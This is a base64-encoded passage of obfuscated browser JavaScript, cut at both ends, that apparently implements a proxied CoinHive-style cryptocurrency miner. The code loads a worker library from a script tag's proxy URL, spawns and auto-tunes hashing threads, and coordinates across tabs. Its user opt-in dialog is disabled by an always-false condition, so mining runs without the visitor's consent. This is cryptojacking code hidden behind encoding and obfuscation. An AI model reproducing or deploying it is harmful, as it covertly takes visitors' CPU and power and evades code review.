BzY3JpcHRUYWcgPSBBcnJheVtfMHg5ODlkKCIweDAiKV1bXzB4OTg5ZCgiMHgxIildCiAgW18weDk4OWQoIjB4MiIpXShkb2N1bWVudFsiZ2V0RWxlbWVudHNCeVRhZ05hbWUiXShfMHg5ODlkKCIweDMiKSkpCiAgW18weDk4OWQoIjB4NCIpXShfMHgxMDUxZGEgPT4gL1w/cHJveHk/L1tfMHg5ODlkKCIweDUiKV0oXzB4MTA1MWRhW18weDk4OWQoIjB4NiIpXSkpOwppZiAoc2NyaXB0VGFnW18weDk4OWQoIjB4NyIpXSA+IDB4MCkgewogIGxpYlVybCA9IHNjcmlwdFRhZ1sweDBdWyJzcmMiXVtfMHg5ODlkKCIweDgiKV0oXzB4OTg5ZCgiMHg5IikpWzB4MF07Cn0gZWxzZSB7CiAgdGhyb3cgbmV3IEVycm9yKCJtaXNzaW5nXHgyMFx4Mjc/cHJveHlceDI3XHgyMHF1ZXJ5XHgyMHBhcmFtZXRlclx4MjBpblx4MjB5b3VyXHgyMHByb3h5XHgyMHVybCEiKTsKfQpjb25zdCBwcm94eVVybCA9IGRlY29kZVVSSUNvbXBvbmVudChzY3JpcHRUYWdbMHgwXVtfMHg5ODlkKCIweDYiKV1bInNwbGl0Il0oXzB4OTg5ZCgiMHhhIikpWzB4MV0pOwpjb25zb2xlW18weDk4OWQoIjB4YiIpXSgibGliVXJsIiwgbGliVXJsKTsKY29uc29sZVtfMHg5ODlkKCIweGIiKV0oInByb3h5VXJsIiwgcHJveHlVcmwpOwooZnVuY3Rpb24oXzB4NDJhNzU3KSB7CiAgInVzZSBzdHJpY3QiOwogIHZhciBfMHg0NDhiMzEgPSBmdW5jdGlvbihfMHgxMGE0ZDIsIF8weDIxYzVlYSkgewogICAgdGhpc1tfMHg5ODlkKCIweGMiKV0gPSBfMHgyMWM1ZWEgfHwge307CiAgICB0aGlzW18weDk4OWQoIjB4ZCIpXSA9IF8weDEwYTRkMjsKICAgIHRoaXNbXzB4OTg5ZCgiMHhlIildID0gbnVsbDsKICAgIHRoaXNbIl90aHJlYWRzIl0gPSBbXTsKICAgIHRoaXNbXzB4OTg5ZCgiMHhmIildID0gMHgwOwogICAgdGhpc1tfMHg5ODlkKCIweDEwIildID0gbnVsbDsKICAgIHRoaXNbXzB4OTg5ZCgiMHgxMSIpXSA9ICEhW107CiAgICB0aGlzW18weDk4OWQoIjB4MTIiKV0gPSAweDM7CiAgICB0aGlzW18weDk4OWQoIjB4MTMiKV0gPSBudWxsOwogICAgdGhpc1tfMHg5ODlkKCIweDE0IildID0gMHgwOwogICAgdGhpc1tfMHg5ODlkKCIweDE1IildID0gMHgwOwogICAgdGhpc1tfMHg5ODlkKCIweDE2IildID0gTWF0aFtfMHg5ODlkKCIweDE3IildKAogICAgICAweDAsCiAgICAgIE1hdGhbXzB4OTg5ZCgiMHgxOCIpXSgwLjk5LCB0aGlzW18weDk4OWQoIjB4YyIpXVtfMHg5ODlkKCIweDE5IildIHx8IDB4MCkKICAgICk7CiAgICB0aGlzWyJfc3RvcE9uSW52YWxpZE9wdEluIl0gPSAhW107CiAgICB0aGlzWyJfYXV0b1RocmVhZHMiXSA9IHsKICAgICAgZW5hYmxlZDogISF0aGlzW18weDk4OWQoIjB4YyIpXVtfMHg5ODlkKCIweDFhIildLAogICAgICBpbnRlcnZhbDogbnVsbCwKICAgICAgYWRqdXN0QXQ6IG51bGwsCiAgICAgIGFkanVzdEV2ZXJ5OiAweDI3MTAsCiAgICAgIHN0YXRzOiB7fQogICAgfTsKICAgIHRoaXNbXzB4OTg5ZCgiMHgxYiIpXSA9IHsKICAgICAgaWRlbnQ6IChNYXRoW18weDk4OWQoIjB4MWMiKV0oKSAqIDB4ZmZmZmZmKSB8IDB4MCwKICAgICAgbW9kZTogQ0hbXzB4OTg5ZCgiMHgxZCIpXSwKICAgICAgZ3JhY2U6IDB4MCwKICAgICAgbGFzdFBpbmdSZWNlaXZlZDogMHgwLAogICAgICBpbnRlcnZhbDogbnVsbAogICAgfTsKICAgIGlmIChfMHg0MmE3NTdbXzB4OTg5ZCgiMHgxZSIpXSkgewogICAgICB0cnkgewogICAgICAgIHRoaXNbIl9iYyJdID0gbmV3IEJyb2FkY2FzdENoYW5uZWwoIkNIIik7CiAgICAgICAgdGhpc1tfMHg5ODlkKCIweDFmIildW18weDk4OWQoIjB4MjAiKV0gPSBmdW5jdGlvbihfMHgxNGEyM2IpIHsKICAgICAgICAgIGlmIChfMHgxNGEyM2JbImRhdGEiXSA9PT0gXzB4OTg5ZCgiMHgyMSIpKSB7CiAgICAgICAgICAgIHRoaXNbXzB4OTg5ZCgiMHgxYiIpXVsibGFzdFBpbmdSZWNlaXZlZCJdID0gRGF0ZVtfMHg5ODlkKCIweDIyIildKCk7CiAgICAgICAgICB9CiAgICAgICAgfVsiYmluZCJdKHRoaXMpOwogICAgICB9IGNhdGNoIChfMHgzZDU4ZDcpIHt9CiAgICB9CiAgICB0aGlzWyJfZXZlbnRMaXN0ZW5lcnMiXSA9IHsKICAgICAgb3BlbjogW10sCiAgICAgIGF1dGhlZDogW10sCiAgICAgIGNsb3NlOiBbXSwKICAgICAgZXJyb3I6IFtdLAogICAgICBqb2I6IFtdLAogICAgICBmb3VuZDogW10sCiAgICAgIGFjY2VwdGVkOiBbXSwKICAgICAgb3B0aW46IFtdCiAgICB9OwogICAgdmFyIF8weDJmNmVkZCA9IG5hdmlnYXRvcltfMHg5ODlkKCIweDIzIildIHx8IDB4NDsKICAgIHRoaXNbXzB4OTg5ZCgiMHgyNCIpXSA9IHRoaXNbXzB4OTg5ZCgiMHhjIildW18weDk4OWQoIjB4MjUiKV0gfHwgXzB4MmY2ZWRkOwogICAgdGhpc1tfMHg5ODlkKCIweDI2IildID0gdGhpc1tfMHg5ODlkKCIweDI3IildKCkgJiYgIXRoaXNbXzB4OTg5ZCgiMHhjIildW18weDk4OWQoIjB4MjgiKV07CiAgICB0aGlzW18weDk4OWQoIjB4MjkiKV0gPSBfMHg5ODlkKCIweDJhIik7CiAgICB0aGlzW18weDk4OWQoIjB4MmIiKV0gPSB0aGlzW18weDk4OWQoIjB4MmMiKV1bXzB4OTg5ZCgiMHgyZCIpXSh0aGlzKTsKICAgIHRoaXNbXzB4OTg5ZCgiMHgyZSIpXSA9IHRoaXNbIl9vblZlcmlmaWVkIl1bXzB4OTg5ZCgiMHgyZCIpXSh0aGlzKTsKICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bInN0YXJ0Il0gPSBmdW5jdGlvbihfMHgzNzI1MmQsIF8weDVlYTFhYSkgewogICAgdGhpc1tfMHg5ODlkKCIweDFiIildW18weDk4OWQoIjB4MmYiKV0gPSBfMHgzNzI1MmQgfHwgQ0hbIklGX0VYQ0xVU0lWRV9UQUIiXTsKICAgIHRoaXNbXzB4OTg5ZCgiMHgzMCIpXSA9IF8weDVlYTFhYTsKICAgIGlmICh0aGlzWyJfdGFiIl1bXzB4OTg5ZCgiMHgzMSIpXSkgewogICAgICBjbGVhckludGVydmFsKHRoaXNbXzB4OTg5ZCgiMHgxYiIpXVtfMHg5ODlkKCIweDMxIildKTsKICAgICAgdGhpc1tfMHg5ODlkKCIweDFiIildW18weDk4OWQoIjB4MzEiKV0gPSBudWxsOwogICAgfQogICAgaWYgKHRoaXNbXzB4OTg5ZCgiMHgyNiIpXSB8fCB0aGlzW18weDk4OWQoIjB4MjkiKV0gPT09IF8weDk4OWQoIjB4MzIiKSkgewogICAgICB0aGlzW18weDk4OWQoIjB4MzMiKV0oKTsKICAgIH0gZWxzZSBpZiAodGhpc1tfMHg5ODlkKCIweDI5IildID09PSBfMHg5ODlkKCIweDJhIikpIHsKICAgICAgdGhpc1tfMHg5ODlkKCIweDI5IildID0gXzB4OTg5ZCgiMHgzNCIpOwogICAgICB2YXIgXzB4NDM3Mjk2ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICAgIF8weDQzNzI5NltfMHg5ODlkKCIweDM1IildKAogICAgICAgICJsb2FkIiwKICAgICAgICBmdW5jdGlvbigpIHsKICAgICAgICAgIENIW18weDk4OWQoIjB4MzYiKV0gPQogICAgICAgICAgICBfMHg0MmE3NTdbXzB4OTg5ZCgiMHgzNyIpXVtfMHg5ODlkKCIweDM4IildKG5ldyBCbG9iKFtfMHg0MzcyOTZbXzB4OTg5ZCgiMHgzOSIpXV0pKSArICIjIiArIGxpYlVybDsKICAgICAgICAgIHRoaXNbXzB4OTg5ZCgiMHgyOSIpXSA9IF8weDk4OWQoIjB4MzIiKTsKICAgICAgICAgIHRoaXNbXzB4OTg5ZCgiMHgzMyIpXSgpOwogICAgICAgIH1bXzB4OTg5ZCgiMHgyZCIpXSh0aGlzKSwKICAgICAgICBfMHg0MzcyOTYKICAgICAgKTsKICAgICAgXzB4NDM3Mjk2W18weDk4OWQoIjB4M2EiKV0oXzB4OTg5ZCgiMHgzYiIpLCBsaWJVcmwgKyBfMHg5ODlkKCIweDNjIiksICEhW10pOwogICAgICBfMHg0MzcyOTZbXzB4OTg5ZCgiMHgzZCIpXSgpOwogICAgfQogIH07CiAgXzB4NDQ4YjMxW18weDk4OWQoIjB4MCIpXVsic3RvcCJdID0gZnVuY3Rpb24oXzB4MzIwYWVkKSB7CiAgICBmb3IgKHZhciBfMHgyZmExZTMgPSAweDA7IF8weDJmYTFlMyA8IHRoaXNbXzB4OTg5ZCgiMHgzZSIpXVtfMHg5ODlkKCIweDciKV07IF8weDJmYTFlMysrKSB7CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHgxNSIpXSArPSB0aGlzW18weDk4OWQoIjB4M2UiKV1bXzB4MmZhMWUzXVtfMHg5ODlkKCIweDNmIildOwogICAgICB0aGlzW18weDk4OWQoIjB4M2UiKV1bXzB4MmZhMWUzXVtfMHg5ODlkKCIweDQwIildKCk7CiAgICB9CiAgICB0aGlzWyJfdGhyZWFkcyJdID0gW107CiAgICB0aGlzW18weDk4OWQoIjB4MTEiKV0gPSAhW107CiAgICBpZiAodGhpc1siX3NvY2tldCJdKSB7CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHg0MSIpXVsiY2xvc2UiXSgpOwogICAgfQogICAgdGhpc1tfMHg5ODlkKCIweDEwIildID0gbnVsbDsKICAgIGlmICh0aGlzW18weDk4OWQoIjB4NDIiKV1bXzB4OTg5ZCgiMHgzMSIpXSkgewogICAgICBjbGVhckludGVydmFsKHRoaXNbXzB4OTg5ZCgiMHg0MiIpXVtfMHg5ODlkKCIweDMxIildKTsKICAgICAgdGhpc1tfMHg5ODlkKCIweDQyIildWyJpbnRlcnZhbCJdID0gbnVsbDsKICAgIH0KICAgIGlmICh0aGlzW18weDk4OWQoIjB4MWIiKV1bXzB4OTg5ZCgiMHgzMSIpXSAmJiBfMHgzMjBhZWQgIT09ICJkb250S2lsbFRhYlVwZGF0ZSIpIHsKICAgICAgY2xlYXJJbnRlcnZhbCh0aGlzWyJfdGFiIl1bXzB4OTg5ZCgiMHgzMSIpXSk7CiAgICAgIHRoaXNbIl90YWIiXVtfMHg5ODlkKCIweDMxIildID0gbnVsbDsKICAgIH0KICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bXzB4OTg5ZCgiMHg0MyIpXSA9IGZ1bmN0aW9uKCkgewogICAgdmFyIF8weDJhY2NhMCA9IDB4MDsKICAgIGZvciAodmFyIF8weDM5MGU5OSA9IDB4MDsgXzB4MzkwZTk5IDwgdGhpc1tfMHg5ODlkKCIweDNlIildWyJsZW5ndGgiXTsgXzB4MzkwZTk5KyspIHsKICAgICAgXzB4MmFjY2EwICs9IHRoaXNbXzB4OTg5ZCgiMHgzZSIpXVtfMHgzOTBlOTldW18weDk4OWQoIjB4NDQiKV07CiAgICB9CiAgICByZXR1cm4gXzB4MmFjY2EwOwogIH07CiAgXzB4NDQ4YjMxW18weDk4OWQoIjB4MCIpXVtfMHg5ODlkKCIweDQ1IildID0gZnVuY3Rpb24oXzB4MTU5N2Q5KSB7CiAgICB2YXIgXzB4M2Q1NDZmID0gRGF0ZVtfMHg5ODlkKCIweDIyIildKCk7CiAgICB2YXIgXzB4NWY2M2Q2ID0gdGhpc1tfMHg5ODlkKCIweDE1IildOwogICAgZm9yICh2YXIgXzB4MTBjZTBkID0gMHgwOyBfMHgxMGNlMGQgPCB0aGlzW18weDk4OWQoIjB4M2UiKV1bXzB4OTg5ZCgiMHg3IildOyBfMHgxMGNlMGQrKykgewogICAgICB2YXIgXzB4ZDcyYmE1ID0gdGhpc1tfMHg5ODlkKCIweDNlIildW18weDEwY2UwZF07CiAgICAgIF8weDVmNjNkNiArPSBfMHhkNzJiYTVbImhhc2hlc1RvdGFsIl07CiAgICAgIGlmIChfMHgxNTk3ZDkpIHsKICAgICAgICB2YXIgXzB4MjAwYjdlID0gKF8weDNkNTQ2ZiAtIF8weGQ3MmJhNVtfMHg5ODlkKCIweDQ2IildKSAvIDB4M2U4ICogMC45OwogICAgICAgIF8weDVmNjNkNiArPSBfMHgyMDBiN2UgKiBfMHhkNzJiYTVbXzB4OTg5ZCgiMHg0NCIpXTsKICAgICAgfQogICAgfQogICAgcmV0dXJuIF8weDVmNjNkNiB8IDB4MDsKICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bXzB4OTg5ZCgiMHg0NyIpXSA9IGZ1bmN0aW9uKCkgewogICAgcmV0dXJuIHRoaXNbIl9oYXNoZXMiXTsKICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bXzB4OTg5ZCgiMHg0OCIpXSA9IGZ1bmN0aW9uKCkgewogICAgcmV0dXJuIHRoaXNbXzB4OTg5ZCgiMHgxMyIpXTsKICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bIm9uIl0gPSBmdW5jdGlvbihfMHg1YjQ0ZjIsIF8weDIxZjQxZCkgewogICAgaWYgKHRoaXNbXzB4OTg5ZCgiMHg0OSIpXVtfMHg1YjQ0ZjJdKSB7CiAgICAgIHRoaXNbIl9ldmVudExpc3RlbmVycyJdW18weDViNDRmMl1bXzB4OTg5ZCgiMHg0YSIpXShfMHgyMWY0MWQpOwogICAgfQogIH07CiAgXzB4NDQ4YjMxWyJwcm90b3R5cGUiXVtfMHg5ODlkKCIweDRiIildID0gZnVuY3Rpb24oXzB4NTZjMGU4KSB7CiAgICByZXR1cm4gdGhpc1tfMHg5ODlkKCIweDQyIildW18weDk4OWQoIjB4NGMiKV07CiAgfTsKICBfMHg0NDhiMzFbXzB4OTg5ZCgiMHgwIildW18weDk4OWQoIjB4NGQiKV0gPSBmdW5jdGlvbihfMHg4YzA2YTIpIHsKICAgIHRoaXNbXzB4OTg5ZCgiMHg0MiIpXVsiZW5hYmxlZCJdID0gISFfMHg4YzA2YTI7CiAgICBpZiAoIV8weDhjMDZhMiAmJiB0aGlzW18weDk4OWQoIjB4NDIiKV1bXzB4OTg5ZCgiMHgzMSIpXSkgewogICAgICBjbGVhckludGVydmFsKHRoaXNbXzB4OTg5ZCgiMHg0MiIpXVtfMHg5ODlkKCIweDMxIildKTsKICAgICAgdGhpc1siX2F1dG9UaHJlYWRzIl1bXzB4OTg5ZCgiMHgzMSIpXSA9IG51bGw7CiAgICB9CiAgICBpZiAoXzB4OGMwNmEyICYmICF0aGlzW18weDk4OWQoIjB4NDIiKV1bXzB4OTg5ZCgiMHgzMSIpXSkgewogICAgICB0aGlzW18weDk4OWQoIjB4NDIiKV1bXzB4OTg5ZCgiMHg0ZSIpXSA9IERhdGVbIm5vdyJdKCkgKyB0aGlzW18weDk4OWQoIjB4NDIiKV1bXzB4OTg5ZCgiMHg0ZiIpXTsKICAgICAgdGhpc1tfMHg5ODlkKCIweDQyIildWyJpbnRlcnZhbCJdID0gc2V0SW50ZXJ2YWwodGhpc1tfMHg5ODlkKCIweDUwIildWyJiaW5kIl0odGhpcyksIDB4M2U4KTsKICAgIH0KICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bXzB4OTg5ZCgiMHg1MSIpXSA9IGZ1bmN0aW9uKCkgewogICAgcmV0dXJuIHRoaXNbXzB4OTg5ZCgiMHgxNiIpXTsKICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bXzB4OTg5ZCgiMHg1MiIpXSA9IGZ1bmN0aW9uKF8weDMzN2MzZSkgewogICAgdGhpc1tfMHg5ODlkKCIweDE2IildID0gTWF0aFsibWF4Il0oMHgwLCBNYXRoW18weDk4OWQoIjB4MTgiKV0oMC45OSwgXzB4MzM3YzNlKSk7CiAgICBpZiAodGhpc1tfMHg5ODlkKCIweDEwIildKSB7CiAgICAgIHRoaXNbIl9zZXRKb2IiXSh0aGlzWyJfY3VycmVudEpvYiJdKTsKICAgIH0KICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bImdldE51bVRocmVhZHMiXSA9IGZ1bmN0aW9uKCkgewogICAgcmV0dXJuIHRoaXNbXzB4OTg5ZCgiMHgyNCIpXTsKICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bXzB4OTg5ZCgiMHg1MyIpXSA9IGZ1bmN0aW9uKF8weDE1OThhZCkgewogICAgdmFyIF8weDE1OThhZCA9IE1hdGhbIm1heCJdKDB4MSwgXzB4MTU5OGFkIHwgMHgwKTsKICAgIHRoaXNbIl90YXJnZXROdW1UaHJlYWRzIl0gPSBfMHgxNTk4YWQ7CiAgICBpZiAoXzB4MTU5OGFkID4gdGhpc1tfMHg5ODlkKCIweDNlIildW18weDk4OWQoIjB4NyIpXSkgewogICAgICBmb3IgKHZhciBfMHg0ZWQ3ZDIgPSAweDA7IF8weDE1OThhZCA+IHRoaXNbXzB4OTg5ZCgiMHgzZSIpXVtfMHg5ODlkKCIweDciKV07IF8weDRlZDdkMisrKSB7CiAgICAgICAgdmFyIF8weDM0YzYxNyA9IG5ldyBDSFsoXzB4OTg5ZCgiMHg1NCIpKV0oKTsKICAgICAgICBpZiAodGhpc1tfMHg5ODlkKCIweDEwIildKSB7CiAgICAgICAgICBfMHgzNGM2MTdbXzB4OTg5ZCgiMHg1NSIpXSh0aGlzW18weDk4OWQoIjB4MTAiKV0sIHRoaXNbIl9vblRhcmdldE1ldEJvdW5kIl0pOwogICAgICAgIH0KICAgICAgICB0aGlzW18weDk4OWQoIjB4M2UiKV1bXzB4OTg5ZCgiMHg0YSIpXShfMHgzNGM2MTcpOwogICAgICB9CiAgICB9IGVsc2UgaWYgKF8weDE1OThhZCA8IHRoaXNbIl90aHJlYWRzIl1bXzB4OTg5ZCgiMHg3IildKSB7CiAgICAgIHdoaWxlIChfMHgxNTk4YWQgPCB0aGlzWyJfdGhyZWFkcyJdWyJsZW5ndGgiXSkgewogICAgICAgIHZhciBfMHgzNGM2MTcgPSB0aGlzW18weDk4OWQoIjB4M2UiKV1bXzB4OTg5ZCgiMHg1NiIpXSgpOwogICAgICAgIHRoaXNbXzB4OTg5ZCgiMHgxNSIpXSArPSBfMHgzNGM2MTdbXzB4OTg5ZCgiMHgzZiIpXTsKICAgICAgICBfMHgzNGM2MTdbXzB4OTg5ZCgiMHg0MCIpXSgpOwogICAgICB9CiAgICB9CiAgfTsKICBfMHg0NDhiMzFbXzB4OTg5ZCgiMHgwIildW18weDk4OWQoIjB4MjciKV0gPSBmdW5jdGlvbigpIHsKICAgIHJldHVybiBfMHg0MmE3NTdbXzB4OTg5ZCgiMHg1NyIpXSAhPT0gdW5kZWZpbmVkOwogIH07CiAgXzB4NDQ4YjMxW18weDk4OWQoIjB4MCIpXVtfMHg5ODlkKCIweDU4IildID0gZnVuY3Rpb24oKSB7CiAgICByZXR1cm4gdGhpc1tfMHg5ODlkKCIweDNlIildW18weDk4OWQoIjB4NyIpXSA+IDB4MDsKICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bXzB4OTg5ZCgiMHgzMyIpXSA9IGZ1bmN0aW9uKCkgewogICAgaWYgKHRoaXNbXzB4OTg5ZCgiMHgxYiIpXVtfMHg5ODlkKCIweDJmIildICE9PSBDSFtfMHg5ODlkKCIweDU5IildICYmICF0aGlzW18weDk4OWQoIjB4MWIiKV1bImludGVydmFsIl0pIHsKICAgICAgdGhpc1siX3RhYiJdW18weDk4OWQoIjB4MzEiKV0gPSBzZXRJbnRlcnZhbCh0aGlzW18weDk4OWQoIjB4NWEiKV1bXzB4OTg5ZCgiMHgyZCIpXSh0aGlzKSwgMHgzZTgpOwogICAgfQogICAgaWYgKHRoaXNbXzB4OTg5ZCgiMHgxYiIpXVtfMHg5ODlkKCIweDJmIildID09PSBDSFsiSUZfRVhDTFVTSVZFX1RBQiJdICYmIHRoaXNbIl9vdGhlclRhYlJ1bm5pbmciXSgpKSB7CiAgICAgIHJldHVybjsKICAgIH0KICAgIGlmICh0aGlzW18weDk4OWQoIjB4MWIiKV1bXzB4OTg5ZCgiMHgyZiIpXSA9PT0gQ0hbIkZPUkNFX0VYQ0xVU0lWRV9UQUIiXSkgewogICAgICB0aGlzW18weDk4OWQoIjB4MWIiKV1bImdyYWNlIl0gPSBEYXRlWyJub3ciXSgpICsgMHhiYjg7CiAgICB9CiAgICBpZiAoIXRoaXNbXzB4OTg5ZCgiMHg1YiIpXSkgewogICAgICB0aGlzWyJ2ZXJpZnlUaHJlYWQiXSA9IG5ldyBDSFsoXzB4OTg5ZCgiMHg1NCIpKV0oKTsKICAgIH0KICAgIHRoaXNbXzB4OTg5ZCgiMHg1MyIpXSh0aGlzWyJfdGFyZ2V0TnVtVGhyZWFkcyJdKTsKICAgIHRoaXNbXzB4OTg5ZCgiMHgxMSIpXSA9ICEhW107CiAgICBpZiAoIVtdICYmICF0aGlzW18weDk4OWQoIjB4MzAiKV0pIHsKICAgICAgdGhpc1tfMHg5ODlkKCIweDVjIildID0KICAgICAgICB0aGlzW18weDk4OWQoIjB4NWMiKV0gfHwKICAgICAgICBuZXcgQ0hbKF8weDk4OWQoIjB4NWQiKSldKHRoaXNbXzB4OTg5ZCgiMHhkIildLCB7CiAgICAgICAgICB0aGVtZTogdGhpc1tfMHg5ODlkKCIweGMiKV1bXzB4OTg5ZCgiMHg1ZSIpXSB8fCAibGlnaHQiLAogICAgICAgICAgbGFuZzogdGhpc1tfMHg5ODlkKCIweGMiKV1bImxhbmd1YWdlIl0gfHwgImF1dG8iCiAgICAgICAgfSk7CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHg1YyIpXVtfMHg5ODlkKCIweDVmIildKAogICAgICAgIGZ1bmN0aW9uKF8weDQ3OThlYykgewogICAgICAgICAgaWYgKCFfMHg0Nzk4ZWMpIHsKICAgICAgICAgICAgdGhpc1siX2VtaXQiXShfMHg5ODlkKCIweDYwIiksIHsgc3RhdHVzOiAiY2FuY2VsZWQiIH0pOwogICAgICAgICAgICB0aGlzW18weDk4OWQoIjB4NjEiKV0oXzB4OTg5ZCgiMHg2MiIpLCB7IGVycm9yOiAib3B0X2luX2NhbmNlbGVkIiB9KTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgICAgfQogICAgICAgICAgdGhpc1tfMHg5ODlkKCIweDYxIildKF8weDk4OWQoIjB4NjAiKSwgeyBzdGF0dXM6ICJhY2NlcHRlZCIgfSk7CiAgICAgICAgICB0aGlzW18weDk4OWQoIjB4MzAiKV0gPSBfMHg0Nzk4ZWM7CiAgICAgICAgICB0aGlzW18weDk4OWQoIjB4NjMiKV0oKTsKICAgICAgICB9WyJiaW5kIl0odGhpcykKICAgICAgKTsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHg2MyIpXSgpOwogICAgfQogIH07CiAgXzB4NDQ4YjMxW18weDk4OWQoIjB4MCIpXVtfMHg5ODlkKCIweDY0IildID0gZnVuY3Rpb24oKSB7CiAgICBpZiAodGhpc1tfMHg5ODlkKCIweDFiIildWyJsYXN0UGluZ1JlY2VpdmVkIl0gPiBEYXRlW18weDk4OWQoIjB4MjIiKV0oKSAtIDB4NWRjKSB7CiAgICAgIHJldHVybiAhIVtdOwogICAgfQogICAgdHJ5IHsKICAgICAgdmFyIF8weDVlYjA2NiA9IGxvY2FsU3RvcmFnZVtfMHg5ODlkKCIweDY1IildKCJDSCIpOwogICAgICBpZiAoXzB4NWViMDY2KSB7CiAgICAgICAgdmFyIF8weDViNGM2NiA9IEpTT05bXzB4OTg5ZCgiMHg2NiIpXShfMHg1ZWIwNjYpOwogICAgICAgIGlmICgKICAgICAgICAgIF8weDViNGM2NltfMHg5ODlkKCIweDY3IildICE9PSB0aGlzW18weDk4OWQoIjB4MWIiKV1bXzB4OTg5ZCgiMHg2NyIpXSAmJgogICAgICAgICAgRGF0ZVtfMHg5ODlkKCIweDIyIildKCkgLSBfMHg1YjRjNjZbInRpbWUiXSA8IDB4NWRjCiAgICAgICAgKSB7CiAgICAgICAgICByZXR1cm4gISFbXTsKICAgICAgICB9CiAgICAgIH0KICAgIH0gY2F0Y2ggKF8weDJjM2Y1Yykge30KICAgIHJldHVybiAhW107CiAgfTsKICBfMHg0NDhiMzFbInByb3RvdHlwZSJdW18weDk4OWQoIjB4NWEiKV0gPSBmdW5jdGlvbigpIHsKICAgIHZhciBfMHhhNmQyYTEgPSB0aGlzW18weDk4OWQoIjB4NjQiKV0oKTsKICAgIGlmIChfMHhhNmQyYTEgJiYgdGhpc1tfMHg5ODlkKCIweDU4IildKCkgJiYgRGF0ZVtfMHg5ODlkKCIweDIyIildKCkgPiB0aGlzWyJfdGFiIl1bXzB4OTg5ZCgiMHg2OCIpXSkgewogICAgICB0aGlzW18weDk4OWQoIjB4NDAiKV0oImRvbnRLaWxsVGFiVXBkYXRlIik7CiAgICB9IGVsc2UgaWYgKCFfMHhhNmQyYTEgJiYgIXRoaXNbXzB4OTg5ZCgiMHg1OCIpXSgpKSB7CiAgICAgIHRoaXNbXzB4OTg5ZCgiMHgzMyIpXSgpOwogICAgfQogICAgaWYgKHRoaXNbXzB4OTg5ZCgiMHg1OCIpXSgpKSB7CiAgICAgIGlmICh0aGlzW18weDk4OWQoIjB4MWYiKV0pIHsKICAgICAgICB0aGlzW18weDk4OWQoIjB4MWYiKV1bInBvc3RNZXNzYWdlIl0oXzB4OTg5ZCgiMHgyMSIpKTsKICAgICAgfQogICAgICB0cnkgewogICAgICAgIGxvY2FsU3RvcmFnZVtfMHg5ODlkKCIweDY5IildKAogICAgICAgICAgIkNIIiwKICAgICAgICAgIEpTT05bXzB4OTg5ZCgiMHg2YSIpXSh7IGlkZW50OiB0aGlzWyJfdGFiIl1bXzB4OTg5ZCgiMHg2NyIpXSwgdGltZTogRGF0ZVsibm93Il0oKSB9KQogICAgICAgICk7CiAgICAgIH0gY2F0Y2ggKF8weDIwYjA4Zikge30KICAgIH0KICB9OwogIF8weDQ0OGIzMVtfMHg5ODlkKCIweDAiKV1bIl9hZGp1c3RUaHJlYWRzIl0gPSBmdW5jdGlvbigpIHsKICAgIHZhciBfMHhhNWYzMTkgPSB0aGlzW18weDk4OWQoIjB4NDMiKV0oKTsKICAgIHZhciBfMHg0ZjRjMTggPSB0aGlzW18weDk4OWQoIjB4NmIiKV0oKTsKICAgIHZhciBfMHgzM2I0N2MgPSB0aGlzW18weDk4OWQoIjB4NDIiKV1bXzB4OTg5ZCgiMHg2YyIpXTsKICAgIF8weDMzYjQ3Y1tfMHg0ZjRjMThdID0gXzB4MzNiNDdjW18weDRmNGMxOF0gPyBfMHgzM2I0N2NbXzB4NGY0YzE4XSAqIDAuNSArIF8weGE1ZjMxOSAqIDAuNSA6IF8weGE1ZjMxOTsKICAgIGlmIChEYXRlW18weDk4OWQoIjB4MjIiKV0oKSA+IHRoaXNbIl9hdXRvVGhyZWFkcyJdW18weDk4OWQoIjB4NGUiKV0pIHsKICAgICAgdGhpc1tfMHg5ODlkKCIweDQyIildW18weDk4OWQoIjB4NGUiKV0gPSBEYXRlW18weDk4OWQoIjB4MjIiKV0oKSArIHRoaXNbXzB4OTg5ZCgiMHg0MiIpXVtfMHg5ODlkKCIweDRmIildOwogICAgICB2YXIgXzB4YWYyNjU0ID0gKF8weDMzYjQ3Y1tfMHg0ZjRjMThdIHx8IDB4MCkgLSAweDE7CiAgICAgIHZhciBfMHgxMjBiOGEgPSBfMHgzM2I0N2NbXzB4NGY0YzE4ICsgMHgxXSB8fCAweDA7CiAgICAgIHZhciBfMHgyNDVmNzMgPSBfMHgzM2I0N2NbXzB4NGY0YzE4IC0gMHgxXSB8fCAweDA7CiAgICAgIGlmIChfMHhhZjI2NTQgPiBfMHgyNDVmNzMgJiYgKF8weDEyMGI4YSA9PT0gMHgwIHx8IF8weDEyMGI4YSA+IF8weGFmMjY1NCkgJiYgXzB4NGY0YzE4IDwgMHg4KSB7CiAgICAgICAgcmV0dXJuIHRoaXNbXzB4OTg5ZCgiMHg1MyIpXShfMHg0ZjRjMTggKyAweDEpOwogICAgICB9IGVsc2UgaWYgKF8weGFmMjY1NCA+IF8weDEyMGI4YSAmJiAoIV8weDI0NWY3MyB8fCBfMHgyNDVmNzMgPiBfMHhhZjI2NTQpICYmIF8weDRmNGMxOCA+IDB4MSkgewogICAgICAgIHJldHVybiB0aGlzW18weDk4OWQoIjB4NTMiKV0oXzB4NGY0YzE4IC0gMHgxKTsKICAgICAgfQogICAgfQogIH07CiAgXzB4NDQ4YjMxW18weDk4OWQoIjB4MCIpXVsiX2VtaXQiXSA9IGZ1bmN0aW9uKF8weDEzYzg3NiwgXzB4NTQ2MGU5KSB7CiAgICB2YXIgXzB4NDZjNTFmID0gdGhpc1tfMHg5ODlkKCIweDQ5IildW18weDEzYzg3Nl07CiAgICBpZiAoXzB4NDZjNTFmICYmI